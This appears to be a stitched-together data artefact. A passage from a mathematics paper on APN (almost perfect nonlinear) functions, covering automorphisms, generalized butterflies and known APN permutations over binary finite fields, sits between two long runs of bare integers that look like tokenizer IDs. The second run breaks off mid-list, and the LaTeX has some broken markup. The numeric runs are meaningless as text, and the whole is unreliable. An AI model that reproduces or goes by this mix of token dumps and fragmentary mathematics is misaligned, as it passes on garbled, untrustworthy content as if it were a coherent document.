1764, 9501, 92, 41, 4689, 1637, 1337, 2461, 889, 13777, 1926, 1991, 92, 39, 6922, 19, 63, 79, 94, 393, 3181, 1926, 1991, 92, 39, 6922, 19, 63, 79, 94, 393, 4287, 50276, 464, 1991, 92, 39, 6922, 19, 63, 79, 94, 393, 3181, 1926, 1991, 92, 39, 6922, 19, 63, 79, 2023, 393, 3362, 313, 89, 13, 90, 10, 393, 15869, 393, 1274, 9, 51, 9, 90, 13, 51, 2497, 18, 1603, 89, 13, 90, 9679, 51, 2497, 18, 1603, 89, 13, 90, 1572, 918, 1572, 28, 11227, 835, 370, 51, 9, 89, 13, 90, 10, 426, 313, 89, 2766, 1637, 340, 4800, 20, 559, 393, 2461, 340, 63, 20, 1352, 187, 187, 510, 4097, 47, 29391, 1119, 275, 575, 683, 67, 31041, 7199, 522, 79, 62, 310, 29438, 6425, 281, 669, 9501, 92, 41, 4689, 1637, 1337, 2461, 724, 323, 370, 79, 30, 20, 13, 393, 2461, 426, 337, 5, 285, 669, 1637, 393, 249, 1926, 1991, 92, 39, 6922, 19, 63, 79, 724, 342, 2367, 2690, 92, 2290, 12523, 1637, 10, 426, 470, 1352, 3010, 3839, 13, 1527, 14923, 10379, 31652, 403, 4097, 47, 323, 370, 79, 30, 20, 13, 393, 1637, 393, 9540, 470, 5, 342, 2367, 2690, 92, 2290, 12523, 1637, 4010, 17, 5, 285, 669, 2461, 393, 249, 32080, 1637, 63, 20, 2766, 1637, 13, 1035, 1637, 63, 20, 12, 18, 1572, 1637, 2497, 18, 889, 3363, 187, 187, 1466, 669, 7597, 5, 9173, 247, 1327, 14, 10528, 3284, 273, 253, 6486, 1673, 2367, 1991, 92, 39, 6922, 19, 63, 79, 3363, 1198, 3318, 34, 426, 393, 1274, 1035, 2043, 92, 3728, 1217, 550, 94, 187, 50274, 464, 7597, 63, 20, 94, 708, 50276, 3353, 187, 50273, 7, 1926, 7597, 94, 187, 61, 423, 92, 3728, 889, 918, 1572, 28, 11227, 359, 452, 669, 9501, 92, 41, 4689, 1637, 1337, 2461, 94, 393, 5574, 329, 426, 329, 393, 5574, 393, 9501, 92, 41, 4689, 1637, 1337, 2461, 724, 323, 667, 669, 1637, 1337, 2461, 393, 249, 1926, 1991, 92, 39, 6922, 19, 768, 79, 8503, 393, 2461, 393, 9540, 470, 1352, 3308, 13, 627, 1900, 4961, 247, 1327, 14, 26551, 3284, 275, 2367, 9501, 92, 7034, 578, 1843, 39111, 9501, 92, 41, 4689, 1637, 1337, 2461, 17137, 187, 187, 2214, 370, 79, 30, 20, 1366, 352, 310, 3477, 281, 12654, 326, 512, 12624, 370, 34, 5, 273, 253, 2605, 1840, 323, 669, 7597, 393, 9540, 337, 5, 403, 2074, 281, 2367, 2690, 92, 5065, 4935, 57, 63, 23, 12, 57, 63, 22, 12, 57, 63, 21, 12, 57, 63, 20, 12, 57, 63, 19, 12, 57, 12, 18, 3822, 187, 187, 33931, 4097, 47, 36944, 275, 15023, 18025, 2452, 187, 35349, 187, 187, 5683, 281, 7877, 370, 79, 30, 22, 1366, 512, 4097, 47, 3470, 403, 12992, 59, 14, 41950, 281, 1114, 28261, 3470, 13, 923, 575, 683, 37, 5993, 49, 27, 34859, 16, 69, 550, 16, 8478, 750, 8420, 45, 2904, 1570, 187, 187, 688, 575, 683, 37, 5993, 49, 27, 34859, 16, 312, 1940, 16, 3996, 293, 49, 2693, 1092, 323, 10103, 370, 79, 393, 249, 9121, 23, 13, 24, 13, 25, 22805, 3619, 293, 285, 367, 1519, 8818, 747, 4097, 47, 3470, 598, 281, 12992, 59, 14, 2655, 44132, 432, 253, 4097, 47, 3470, 1929, 594, 2080, 313, 2887, 575, 683, 5568, 567, 3291, 407, 253, 594, 14, 8890, 773, 16065, 272, 5140, 6598, 496, 1798, 13, 597, 7117, 1638, 12992, 59, 14, 460, 371, 22809, 4097, 47, 3470, 275, 7877, 2800, 13, 655, 275, 7877, 5093, 13, 285, 3495, 275, 7877, 4314, 15, 1876, 533, 581, 273, 731, 313, 2887, 575, 683, 37, 5993, 49, 27, 34859, 16, 312, 1940, 16, 3996, 293, 49, 2693, 6899, 1903, 3291, 403, 2057, 1114, 28261, 3470, 390, 21396, 15, 1198, 436, 2714, 1083, 13, 253, 4477, 10302, 253, 1340, 273, 253, 40755, 1387, 13, 534, 310, 854, 15, 5838, 326, 436, 310, 253, 760, 1929, 1650, 273, 271, 4097, 47, 1159, 534, 310, 417, 12992, 59, 14, 41950, 281, 2057, 247, 1114, 28261, 1159, 390, 247, 21396, 1159, 15, 831, 1159, 369, 6888, 10939, 407, 2652, 750, 8420, 285, 2070, 5945, 275, 575, 683, 37, 5993, 49, 27, 34859, 16, 69, 550, 16, 8478, 750, 8420, 45, 2904, 1570, 5838, 326, 275, 253, 3332, 2987, 575, 683, 36371, 554, 83, 565, 27, 14952, 27, 22270, 28, 1214, 26, 24133, 520, 1092, 253, 4477, 452, 1119, 247, 747, 966, 273, 21396, 4097, 47, 39908, 534, 1421, 281, 747, 4097, 47, 3470, 275, 7877, 854, 285, 898, 15, 496, 575, 683, 36371, 554, 83, 565, 27, 14952, 27, 22270, 1092, 352, 369, 2011, 326, 690, 273, 253, 4097, 47, 3470, 432, 575, 683, 37, 5993, 49, 27, 34859, 16, 312, 1940, 16, 3996, 293, 49, 2693, 62, 476, 320, 10509, 715, 271, 11968, 966, 15, 187, 187, 688, 575, 683, 37, 5993, 49, 27, 34859, 16, 69, 550, 16, 42039, 23272, 1047, 1092, 253, 4477, 1119, 625, 685, 41468, 747, 12992, 59, 14, 19770, 273, 4097, 47, 3470, 275, 7877, 5093, 13, 285, 625, 685, 19956, 19, 747, 12992, 59, 14, 19770, 275, 7877, 4314, 15, 1876, 273, 731, 3831, 247, 21396, 1159, 13, 594, 597, 11476, 1327, 14, 26551, 3772, 45911, 15, 496, 253, 23011, 22857, 575, 683, 783, 5114, 64, 13998, 5270, 3495, 1092, 2620, 747, 21396, 12992, 59, 14, 19770, 273, 4097, 47, 3470, 275, 7877, 1903, 497, 1119, 15, 187, 187, 15745, 403, 253, 760, 1929, 39631, 4097, 47, 3470, 359, 403, 6600, 273, 15, 187, 187, 2088, 47, 22689, 35294, 187, 573, 187, 187, 1145, 4722, 1083, 281, 1908, 403, 4097, 47, 3470, 326, 403, 387, 253, 1072, 673, 39908, 15, 5838, 326, 253, 2867, 273, 1146, 247, 29391, 310, 417, 13727, 762, 12992, 59, 14, 2655, 44132, 15, 24697, 13, 417, 1142, 6667, 273, 4097, 47, 39908, 403, 1929, 15, 1916, 253, 1682, 273, 776, 3640, 13, 253, 1929, 4097, 47, 39908, 2965, 275, 2057, 273, 253, 1563, 1264, 2219, 13, 835, 253, 806, 767, 2219, 4853, 11968, 5870, 273, 3470, 13, 285, 253, 2626, 581, 247, 39631, 1650, 534, 310, 417, 10509, 715, 271, 11968, 2021, 2568, 35117, 19, 62, 187, 187, 18, 15, 50276, 510, 4097, 47, 1114, 28261, 3470, 323, 370, 79, 5, 8909, 15, 187, 187, 19, 15, 50276, 510, 21396, 3470, 370, 39, 61, 13777, 1926, 1991, 92, 39, 6922, 19, 768, 20, 76, 599, 393, 15869, 1926, 1991, 92, 39, 6922, 19, 768, 20, 76, 8503, 1269, 393, 15869, 1269, 768, 19, 63, 84, 12, 18, 94, 559, 393, 3151, 1269, 768, 19, 768, 1479, 6643, 19, 768, 17922, 12, 84, 12460, 835, 370, 84, 5, 285, 370, 76, 5, 403, 2762, 20935, 342, 370, 76, 5, 8909, 13, 669, 72, 2428, 9, 76, 13, 20, 7182, 72, 2428, 9, 84, 13, 20, 76, 4010, 18, 1366, 370, 74, 30, 3319, 393, 2307, 495, 1366, 370, 85, 30, 20, 14, 74, 1366, 285, 669, 3151, 393, 249, 1926, 1991, 92, 39, 6922, 19, 768, 20, 76, 599, 18636, 342, 1340, 370, 19, 768, 19, 76, 6643, 19, 63, 76, 12, 18, 5, 313, 9873, 17405, 337, 273, 575, 683, 37, 5993, 49, 27, 34859, 16, 39584, 16, 40255, 356, 1994, 266, 3207, 2904, 2498, 187, 187, 20, 15, 50276, 510, 21396, 1159, 370, 39, 61, 13777, 1926, 1991, 92, 39, 6922, 19, 63, 23, 94, 393, 15869, 1926, 1991, 92, 39, 6922, 19, 63, 23, 2023, 1269, 393, 15869, 1269, 63, 20, 559, 393, 1637, 1269, 768, 1348, 94, 559, 1269, 768, 740, 3303, 835, 669, 1637, 5, 310, 20523, 275, 2367, 1991, 92, 39, 6922, 19, 63, 23, 19135, 5, 313, 74, 15, 70, 904, 253, 12992, 59, 14, 2437, 273, 253, 773, 37, 24632, 29391, 668, 575, 683, 67, 31041, 7199, 522, 79, 3291, 187, 187, 510, 4477, 273, 575, 683, 37, 5993, 49, 27, 34859, 16, 39584, 16, 40255, 356, 1994, 266, 3207, 2904, 62, 2692, 326, 253, 3470, 275, 6550, 374, 403, 12992, 59, 14, 460, 371, 22809, 281, 7284, 3470, 672, 370, 76, 393, 5090, 577, 1352, 496, 575, 683, 58, 25453, 4595, 6961, 1092, 714, 25453, 4595, 8058, 326, 604, 247, 21396, 4097, 47, 1159, 310, 12992, 59, 14, 41950, 281, 247, 1114, 28261, 1159, 13, 352, 1364, 320, 28545, 14, 41950, 281, 247, 7284, 1159, 15, 3813, 13, 253, 3470, 275, 6550, 374, 403, 12992, 59, 14, 460, 371, 22809, 281, 667, 1114, 28261, 1159, 672, 370, 76, 61, 5090, 577, 1352, 187, 187, 2214, 1016, 273, 253, 1027, 12992, 59, 14, 19770, 3551, 432, 253, 1840, 2219, 13, 581, 476, 1918, 247, 8612, 534, 310, 247, 29391, 285, 19943, 247, 1327, 14, 26551, 12838, 14, 1920, 11923, 15, 8079, 13, 253, 1114, 28261, 3470, 403, 5333, 14, 25168, 285, 271, 12838, 14, 1920, 11923, 476, 320, 1677, 347, 2529, 275, 5238, 575, 1447, 1704, 27 ]	mod 3$, and 2. $\forall i \in \{0,1,\dots,k-1\}, 2^{i+k}+2^i-2^s-1 = 0 \mod 3$. Let $k$ and $s$ be positive integers such that $k+s = 0 \mod 3$ and $gcd(s,3k) = \gcd(3,k)=1$. Let further $u \in {\mathbb{F}}_{2^{3k}}^$ be primitive and let $v,w \in {\mathbb{F}}_{2^k}$ with $vw \neq 1$. Then, the function $$F\colon {\mathbb{F}}_{2^{3k}} \rightarrow {\mathbb{F}}_{2^{3k}}, \quad x \mapsto ux^{2^s+1}+u^{2^k}x^{2^{2k}+2^{k+s}}+vx^{2^{2k}+1}+wu^{2^k+1}x^{2^{k+s}+2^s}$$ is APN. Recall that $2^{3k}-1 = 0 \mod 7$. To show that $F$ admits a non-trivial automorphism according to Proposition \[prop:multinom\], we show that 1. $2^{2k}+2^{k+s}-2^s-1 = 0 \mod 7$, and 2. $2^{2k}+1-2^s-1 = (2^{k})^2-2^s = 0 \mod 7$, and 3. $2^{k+s}+2^s-2^s-1 = 2^{k+s}-1 = 0 \mod 7$. Case $(iii)$ holds because $k+s=0 \mod 3$ and thus, $2^{k+s} = 1 \mod 7$. Case $(ii)$ can be deduced by considering the two cases of $k=1 \mod 3$ and $k = 2 \mod 3$ separately. Case $(i)$ immediately follows from $(ii)$ and $(iii)$. Generalized Butterflies {#sec:gen_butterfly} ----------------------- It was shown in [@DBLP:conf/crypto/PerrinUB16] that the sporadic APN permutation in dimension six found in [@browning2010apn] (aka., the “Dillon” permutation) can be decomposed into a special structure. Let $n \in \mathbb{N}$ be odd and let $\alpha,\beta \in {\mathbb{F}}_{2^{n}}, \beta \neq 0$. An open generalized butterfly* is defined as a permutation $$\mathsf{H}_{\alpha,\beta}\colon {\mathbb{F}}_{2^n} \times {\mathbb{F}}_{2^n} \rightarrow {\mathbb{F}}_{2^n} \times {\mathbb{F}}_{2^n}, \quad (x,y) \mapsto \left(R(y,R^{-1}(x,y)),R^{-1}(x,y)\right)\;,$$ where $R(x,y) = (x+\alpha y)^3 + \beta y^3$. The APN permutation found in [@browning2010apn] is affine equivalent to $\mathsf{H}_{\alpha,\beta}$ for $n=3, \beta = 1$ and $\alpha \in {\mathbb{F}}_{2^n}$ with ${\mathrm{Tr}}(\alpha) = 0$. More generally, open generalized butterflies are APN for $n=3, \alpha \neq 0$ with ${\mathrm{Tr}}(\alpha)=0$ and $\beta \in \{\alpha^3+\alpha,(\alpha^3+1)\alpha^{-1}\}$. Let $\zeta$ denote a non-zero element of the finite field ${\mathbb{F}}_{2^n}$. For $$A = \left(\begin{array}{cc} {\zeta^3} & \\ & {\zeta} \end{array}\right)\;,$$ we have $\mathsf{H}_{\alpha,\beta} \circ A = A \circ \mathsf{H}_{\alpha,\beta}$ for any $\alpha,\beta \in {\mathbb{F}}_{2^{n}}, \beta \neq 0$. Thus, there always exists a non-trivial element in ${\mathsf{Aut_{LE}}}(\mathsf{H}_{\alpha,\beta})$. For $n=3$, it is easy to verify that all matrices $A$ of the structure above for $\zeta \neq 1$ are similar to ${\mathrm{Comp}}(X^6+X^5+X^4+X^3+X^2+X+1)$. Known APN Functions in Small Dimension -------------------------------------- Up to dimension $n=5$, all APN functions are CCZ-equivalent to monomial functions, see [@DBLP:journals/dcc/BrinkmannL08]. In [@DBLP:journals/amco/EdelP09], for dimensions $n \in \{6,7,8\}$, Edel and Pott constructed new APN functions up to CCZ-equivalence from the APN functions known so far (see [@banff]) by the so-called “switching construction”. In particular, they listed 14 CCZ-inequivalent APN functions in dimension six, 19 in dimension seven, and 23 in dimension eight. All but one of them (see [@DBLP:journals/amco/EdelP09 Theorem 11]) are either monomial functions or quadratic. For this special case, the authors computed the order of the automorphism group, which is 8. Note that this is the only known example of an APN function which is not CCZ-equivalent to either a monomial function or a quadratic function. This function was discovered independently by Brinkmann and Leander in [@DBLP:journals/dcc/BrinkmannL08]. Note that in the recent works [@cryptoeprint:2020:295; @9000901], the authors have found a new class of quadratic APN permutations which lead to new APN functions in dimension 8 and 9. In [@cryptoeprint:2020:295], it was shown that some of the APN functions from [@DBLP:journals/amco/EdelP09] can be classified into an infinite class. In [@DBLP:journals/dcc/YuWL14], the authors found more than 471 new CCZ-classes of APN functions in dimension seven, and more than 2252 new CCZ-classes in dimension eight. All of them contain a quadratic function, so they admit non-trivial automorphisms. In the PhD thesis [@thesis_sun Table 23], five new quadratic CCZ-classes of APN functions in dimension 11 were found. Those are the only known sporadic APN functions we are aware of. APN Permutations ---------------- An interesting case to consider are APN functions that are at the same time permutations. Note that the property of being a permutation is not invariant under CCZ-equivalence. Actually, not many examples of APN permutations are known. To the best of our knowledge, the known APN permutations fall in either of the following three cases, where the first two cases define infinite families of functions, and the third one a sporadic example which is not classified into an infinite family yet.[^2] 1. The APN monomial functions for $n$ odd. 2. The quadratic functions $F\colon {\mathbb{F}}_{2^{3k}} \mapsto {\mathbb{F}}_{2^{3k}}, x \mapsto x^{2^s+1} + \omega x^{2^{ik}+2^{tk+s}}$, where $s$ and $k$ are positive integers with $k$ odd, $\gcd(k,3)=\gcd(s,3k)=1$, $i=sk \mod 3$, $t=3-i$, and $\omega \in {\mathbb{F}}_{2^{3k}}^$ with order $2^{2k}+2^k+1$ (Corollary 1 of [@DBLP:journals/tit/BudaghyanCL08]). 3. The quadratic function $F\colon {\mathbb{F}}_{2^6} \mapsto {\mathbb{F}}_{2^6}, x \mapsto x^3 + \alpha x^{24} + x^{10}$, where $\alpha$ is primitive in ${\mathbb{F}}_{2^6}^$ (i.e., the CCZ-class of the “Dillon permutation” [@browning2010apn]) The authors of [@DBLP:journals/tit/BudaghyanCL08] showed that the functions in Class 2 are CCZ-inequivalent to Gold functions when $k \geq 4$. In [@Yoshiara2016], Yoshiara proved that if a quadratic APN function is CCZ-equivalent to a monomial function, it must be EA-equivalent to a Gold function. Therefore, the functions in Class 2 are CCZ-inequivalent to any monomial function when $k\geq 4$. For each of the different CCZ-classes coming from the above cases, one can give a representative which is a permutation and admits a non-trivial LE-automorphism. Indeed, the monomial functions are shift-invariant and an LE-automorphism can be given as described in Section \[sec:
[ 247, 39340, 1039, 15, 187, 187, 1628, 1276, 457, 84, 344, 5015, 670, 7721, 344, 2546, 15, 187, 187, 1628, 688, 75, 4539, 11602, 521, 15690, 16617, 468, 13, 440, 357, 6948, 15, 773, 1231, 22223, 398, 871, 2120, 973, 253, 187, 468, 3683, 326, 1821, 584, 441, 275, 436, 294, 1397, 5914, 38872, 2659, 13, 533, 1107, 273, 187, 38835, 17421, 824, 25926, 452, 10256, 441, 281, 38393, 282, 253, 945, 78, 23578, 15, 187, 15745, 665, 3480, 776, 3640, 943, 49196, 2810, 281, 253, 27885, 13, 187, 2811, 597, 778, 7703, 253, 6055, 273, 253, 2972, 9910, 10793, 253, 187, 81, 27297, 29353, 564, 327, 247, 18556, 486, 1425, 187, 187, 510, 23218, 3531, 432, 322, 282, 3097, 281, 13629, 15, 773, 38714, 253, 2647, 342, 779, 187, 484, 1060, 7721, 344, 2546, 13, 19883, 521, 22977, 15, 187, 187, 1628, 16440, 533, 34420, 6239, 1806, 9577, 11064, 13, 17053, 15, 773, 3404, 1728, 187, 10314, 468, 556, 10648, 4348, 23555, 285, 8937, 322, 282, 3097, 17245, 1411, 253, 39553, 13, 285, 187, 26817, 1266, 90, 15, 754, 457, 84, 253, 6459, 25660, 326, 2455, 14042, 253, 16909, 273, 247, 187, 19001, 285, 11527, 6617, 15, 3856, 275, 253, 18557, 344, 310, 253, 802, 11699, 273, 10213, 187, 11478, 531, 13, 14698, 12808, 251, 285, 2802, 3848, 796, 6683, 15392, 13, 253, 12143, 42307, 273, 253, 26580, 9027, 187, 2773, 457, 84, 512, 1425, 187, 187, 1628, 4013, 13, 309, 923, 1806, 12918, 1997, 3751, 15, 773, 1147, 457, 84, 253, 1055, 273, 247, 24863, 17368, 13, 187, 1033, 15064, 407, 247, 1386, 273, 4361, 326, 690, 269, 25646, 952, 1067, 591, 79, 7556, 15, 309, 187, 71, 4306, 344, 457, 620, 755, 689, 352, 275, 673, 285, 320, 5293, 253, 7197, 323, 352, 1425, 187, 187, 7371, 4269, 322, 282, 3097, 281, 3802, 430, 20538, 15172, 314, 15, 187, 187, 1628, 28326, 273, 16869, 1806, 23321, 253, 23218, 13, 773, 42, 9428, 368, 457, 306, 3735, 253, 187, 19192, 273, 9497, 735, 457, 2070, 522, 32, 2064, 457, 84, 253, 28900, 689, 3212, 253, 8614, 13, 253, 1755, 187, 1171, 534, 310, 7101, 407, 326, 3168, 2831, 534, 368, 476, 16487, 314, 26923, 187, 26204, 253, 8467, 1425, 187, 187, 1628, 4497, 1806, 10017, 7306, 1351, 13, 773, 664, 457, 306, 3735, 1633, 490, 66, 483, 352, 1425, 187, 187, 1628, 1147, 457, 84, 247, 954, 18109, 13691, 1806, 753, 1997, 3751, 1289, 4360, 15, 773, 688, 253, 1897, 1078, 187, 783, 45573, 19991, 12668, 731, 562, 13, 767, 1355, 13, 2137, 3022, 23206, 273, 187, 8207, 2458, 13, 253, 11271, 5154, 371, 698, 285, 253, 12429, 356, 312, 790, 13, 497, 2761, 11485, 187, 255, 2137, 689, 436, 1798, 12785, 13, 534, 369, 9383, 33610, 407, 1097, 15, 4952, 187, 249, 2069, 273, 6330, 841, 23206, 574, 1652, 275, 1846, 285, 439, 25383, 1016, 187, 977, 347, 2080, 347, 1896, 15, 4794, 281, 253, 2926, 13, 418, 311, 536, 3230, 369, 247, 187, 1257, 35752, 28806, 273, 253, 11271, 5154, 371, 698, 13, 285, 3419, 2247, 5582, 13, 247, 2872, 21189, 187, 1171, 326, 22184, 13, 6799, 617, 281, 6627, 257, 521, 43610, 88, 312, 15, 1292, 13, 323, 690, 1921, 13, 187, 45, 311, 536, 3230, 574, 642, 897, 323, 3419, 2247, 5582, 285, 25060, 1234, 7228, 264, 521, 259, 3288, 272, 15, 2596, 187, 1201, 1223, 418, 311, 536, 3230, 37560, 3815, 275, 253, 9741, 703, 369, 13964, 407, 247, 187, 81, 386, 379, 1425, 187, 187, 1628, 7883, 2296, 627, 403, 642, 260, 529, 1032, 1060, 39462, 7721, 30807, 16617, 468, 15, 187, 187, 1628, 510, 28806, 651, 452, 644, 47256, 1806, 4821, 253, 45811, 13, 773, 7483, 323, 187, 783, 8959, 285, 27949, 7286, 273, 247, 10086, 13, 23639, 2872, 21189, 13, 665, 187, 83, 6093, 281, 617, 14471, 285, 48602, 253, 20018, 379, 342, 521, 12798, 15, 380, 2872, 187, 28531, 369, 16545, 13, 533, 417, 10369, 15, 3032, 1416, 369, 411, 19356, 825, 13, 285, 344, 369, 187, 66, 12429, 356, 19451, 15, 12257, 13, 275, 15866, 273, 253, 37429, 875, 253, 767, 187, 85, 725, 265, 13, 418, 311, 536, 3230, 25122, 6497, 275, 2389, 342, 411, 19356, 825, 15, 4683, 2282, 597, 187, 76, 1826, 616, 2389, 14, 11849, 651, 417, 2525, 342, 253, 25162, 273, 616, 952, 13, 187, 395, 3103, 352, 369, 4824, 327, 275, 4279, 949, 502, 395, 22019, 12225, 187, 249, 253, 18557, 15, 187, 187, 1628, 1989, 3419, 2247, 5582, 369, 7562, 247, 23327, 285, 3698, 1020, 5130, 2220, 418, 311, 536, 3230, 13, 187, 395, 581, 1388, 344, 3560, 617, 285, 3047, 253, 26987, 2525, 275, 253, 9741, 15, 187, 20696, 39500, 344, 20906, 2220, 411, 19356, 825, 13, 26523, 323, 779, 281, 2342, 187, 41938, 15, 34539, 760, 342, 616, 36014, 13, 253, 767, 2872, 6513, 1634, 13465, 247, 187, 25304, 90, 6680, 13, 275, 534, 1097, 497, 16426, 17513, 598, 15, 411, 19356, 825, 41549, 13, 187, 35529, 13, 285, 3419, 2247, 5582, 369, 1669, 8505, 13889, 2220, 253, 3216, 15, 187, 187, 1628, 40015, 285, 35479, 407, 418, 311, 536, 3230, 13, 411, 19356, 825, 13, 2167, 26426, 16545, 13, 187, 12710, 521, 1039, 896, 281, 521, 22184, 15, 1292, 672, 344, 2183, 253, 2926, 273, 253, 6680, 187, 395, 35907, 521, 2389, 323, 418, 311, 536, 3230, 521, 3392, 13, 247, 7015, 13, 9461, 275, 38696, 187, 395, 12668, 253, 28806, 1977, 13, 362, 23581, 326, 642, 11271, 5154, 371, 333, 943, 2455, 187, 21528, 247, 12429, 356, 19451, 323, 521, 3896, 1403, 15, 49092, 285, 26952, 13, 411, 19356, 825, 812, 417, 187, 38722, 247, 1133, 275, 867, 26739, 593, 13, 285, 49654, 352, 651, 452, 1961, 264, 779, 187, 24481, 574, 344, 644, 2104, 281, 513, 594, 15, 187, 187, 1628, 45, 311, 536, 3230, 4895, 281, 617, 952, 285, 6311, 13, 281, 617, 21278, 8922, 13, 326, 187, 8903, 2247, 5582, 574, 644, 1119, 407, 690, 29353, 13, 665, 574, 3033, 598, 521, 187, 27497, 6465, 285, 3982, 779, 896, 13, 9338, 13, 281, 253, 7773, 15, 754, 1364, 452, 644, 187, 66, 10458, 581, 13, 436, 294, 1397, 5914, 13, 323, 344, 858, 417, 3150, 15, 1723, 13, 344, 2183, 253, 187, 19192, 273, 253, 3443, 293, 342, 411, 19356, 825, 13, 285, 840, 336, 28287, 418, 311, 536, 3230, 369, 2918, 187, 81, 974, 1037, 247, 37435, 407, 617, 3392, 13, 665, 12316, 3419, 2247, 5582, 326, 703, 187, 11425, 2489, 521, 3896, 1403, 15, 2091, 253, 16545, 21189, 12372, 521, 4757, 187, 395, 1786, 344, 369, 281, 452, 617, 13, 1880, 703, 16632, 352, 390, 417, 15, 187, 187, 1628, 4125, 13, 347, 352, 11852, 1046, 3226, 273, 5968, 13, 436, 3177, 281, 820, 17822, 617, 187, 26204, 617, 588, 1160, 418, 311, 536, 3230, 760, 253, 625, 3413, 326, 703, 651, 187, 7594, 5663, 281, 3419, 2247, 5582, 15, 1310, 703, 574, 3663, 411, 19356, 825, 13, 604, 703, 369, 281, 923, 187, 13243, 642, 625, 436, 1930, 273, 253, 27575, 36044, 1997, 2261, 13, 703, 369, 11512, 187, 3529, 703, 651, 3150, 253, 3896, 1403, 273, 642, 637, 15, 329, 18897, 13, 9047, 28027, 5954, 187, 1615, 2360, 285, 407, 1388, 13, 703, 33305, 34095, 13702, 273, 247, 45591, 342, 253, 187, 77, 1189, 665, 574, 9809, 617, 432, 253, 20018, 379, 285, 16473, 253, 2137, 3022, 187, 8903, 2247, 5582, 275, 247, 4344, 285, 1014, 6680, 15, 1198, 13, 1014, 347, 703, 574, 644, 8877, 187, 12594, 407, 253, 11790, 12429, 356, 312, 790, 13, 3738, 344, 812, 1056, 642, 3434, 281, 187, 32770, 617, 285, 812, 28438, 24476, 247, 867, 26739, 593, 13, 411, 19356, 825, 574, 5248, 187, 379, 247, 1007, 432, 521, 3644, 2927, 326, 369, 247, 31760, 285, 247, 9023, 15, 1893, 703, 187, 8754, 959, 323, 779, 281, 1705, 13, 13224, 326, 24225, 344, 651, 513, 594, 285, 1379, 187, 379, 1977, 15, 187, 187, 1628, 3404, 1390, 13, 2299, 13, 703, 3407, 281, 4709, 326, 703, 574, 13308, 275, 23732, 13, 323, 187, 8903, 2247, 5582, 13, 12206, 1142, 11527, 38763, 2220, 521, 1436, 13, 574, 12372, 187, 8701, 4757, 285, 369, 7004, 273, 617, 3392, 326, 253, 673, 943, 320, 873, 187, 9453, 344, 812, 1421, 617, 281, 521, 43610, 88, 312, 15, 11474, 703, 3260, 273, 841, 45667, 187, 395, 273, 253, 27875, 1482, 273, 253, 2872, 21189, 13, 418, 311, 536, 3230, 4934, 617, 11233, 187, 339, 3256, 1128, 413, 431, 617, 3644, 4358, 1041, 1900, 17892, 13, 326, 3419, 2247, 5582, 1537, 417, 187, 1088, 275, 617, 2927, 253, 11322, 281, 3150, 2581, 685, 11929, 15, 329, 12798, 13, 534, 187, 6689, 574, 1119, 13, 369, 8763, 2220, 617, 1436, 13, 285, 436, 13, 604, 2717, 2010, 13, 187, 12756, 8046, 617, 281, 8773, 387, 253, 1390, 2774, 15, 2596, 2266, 13, 19779, 19031, 187, 22412, 715, 617, 16237, 297, 651, 873, 617, 1959, 15, 187, 187, 1628, 3404, 1390, 253, 1388, 369, 4907, 13, 285, 253, 7015, 273, 253, 11271, 5154, 371, 698, 2183, 521, 187, 33475, 326, 327, 253, 2298, 736, 703, 369, 281, 2489, 253, 3896, 1403, 273, 3419, 2247, 5582, 15, 187, 2773, 2360, 703, 858, 417, 2810, 617, 2927, 275, 4600, 13, 3738, 13, 10776, 3240, 187, 23350, 13, 1293, 247, 2014, 4866, 281, 549, 1312, 18910, 13, 703, 3977, 617, 187, 87, 304, 39821, 7496, 281, 2868, 703, 1499, 19839, 15, 733, 369, 617, 4096, 281, 1611, 281, 187, 719, 554, 6593, 432, 253, 44722, 49953, 275, 253, 3644, 383, 3038, 285, 1379, 8630, 15, 187, 187, 1628, 1909, 703, 2242, 3021, 703, 3735, 1633, 1128, 783, 16487, 383, 20035, 282, 13, 751, 253, 187, 15106, 942, 273, 247, 281, 324, 275, 253, 6505, 28, 2568, 1633, 2183, 617, 352, 369, 417, 247, 187, 936, 324, 13, 285, 13, 342, 617, 2798, 39883, 13, 703, 18029, 285, 18029, 15, 3327, 1574, 187, 6689, 3735, 617, 1416, 18017, 2761, 275, 617, 2472, 13, 285, 703, 3260, 352, 574, 644, 187, 67, 675, 742, 407, 253, 11233, 273, 411, 19356, 825, 15, 1500, 3260, 617, 21514, 574, 1705, 387, 1390, 15, 187, 3378, 512, 253, 10861, 285, 41088, 273, 521, 5492, 344, 574, 43801, 715, 253, 187, 40579, 486, 13, 417, 1014, 25758, 247, 14343, 4370, 15, 754, 369, 3345, 253, 44722, 49953, 28, 187, 7483, 253, 6906, 3402, 4272, 731, 15, 187, 187, 1628, 45, 49277, 407, 617, 5165, 19529, 281, 253, 21356, 273, 617, 3392, 13, 253, 187, 21063, 13, 253, 7496, 513, 4337, 15, 411, 19356, 825, 457, 84, 3564, 1119, 521, 13386, 285, 23457, 1070, 187, 13243, 342, 28438, 247, 3590, 15, 2635, 13, 342, 253, 1072, 17458, 13, 344, 3977, 418, 311, 536, 3230, 187, 483, 273, 253, 7773, 285, 1977, 715, 253, 2806, 24484, 273, 253, 9741, 15, 187, 187, 1628, 1276, 574, 4592, 369, 417, 6888, 407, 253, 11271, 5154, 371, 698, 1919, 4131, 187, 1473, 939, 264, 15, 2635, 13, 347, 368, 778, 2868, 13, 627, 369, 1633, 2509, 15, 380, 1711, 187, 21063, 1925, 2220, 3419, 2247, 5582, 281, 3324, 253, 28806, 896, 13, 285, 3419, 2247, 5582, 187, 13382, 1701, 281, 513, 594, 15, 2726, 247, 13365, 2872, 29353, 387, 521, 25296, 13, 344, 2335, 598, 187, 783, 11693, 15, 9064, 1897, 285, 1264, 15513, 597, 23321, 253, 37637, 26987, 187, 3113, 253, 3578, 10757, 273, 2614, 73, 2261, 15, 15643, 327, 253, 7002, 1388, 253, 8205, 398, 187, 13784, 275, 2220, 411, 19356, 825, 285, 418, 311, 536, 3230, 13, 323, 253, 28806, 369, 35725, 15, 380, 187, 78, 406, 16559, 968, 497, 4783, 432, 617, 14771, 4669, 13, 285, 1014, 411, 19356, 825, 457, 84, 1270, 187, 45563, 574, 644, 30643, 48715, 949, 12206, 253, 42358, 275, 521, 6174, 187, 1189, 1142, 273, 253, 7227, 5053, 15, 1583, 497, 18195, 275, 253, 14700, 187, 90, 9631, 15, 1621, 2647, 534, 1039, 597, 7799, 281, 32645, 13, 597, 1119, 3746, 187, 7317, 745, 13, 285, 6524, 13, 342, 253, 8205, 398, 11196, 275, 13, 597, 497, 8877, 187, 483, 2220, 253, 1077, 1308, 750, 273, 326, 1270, 28900, 835, 253, 2831, 1024, 9572, 15, 187, 3726, 812, 417, 36672, 13, 285, 281, 1614, 896, 715, 253, 9741, 432, 534, 597, 187, 10178, 1705, 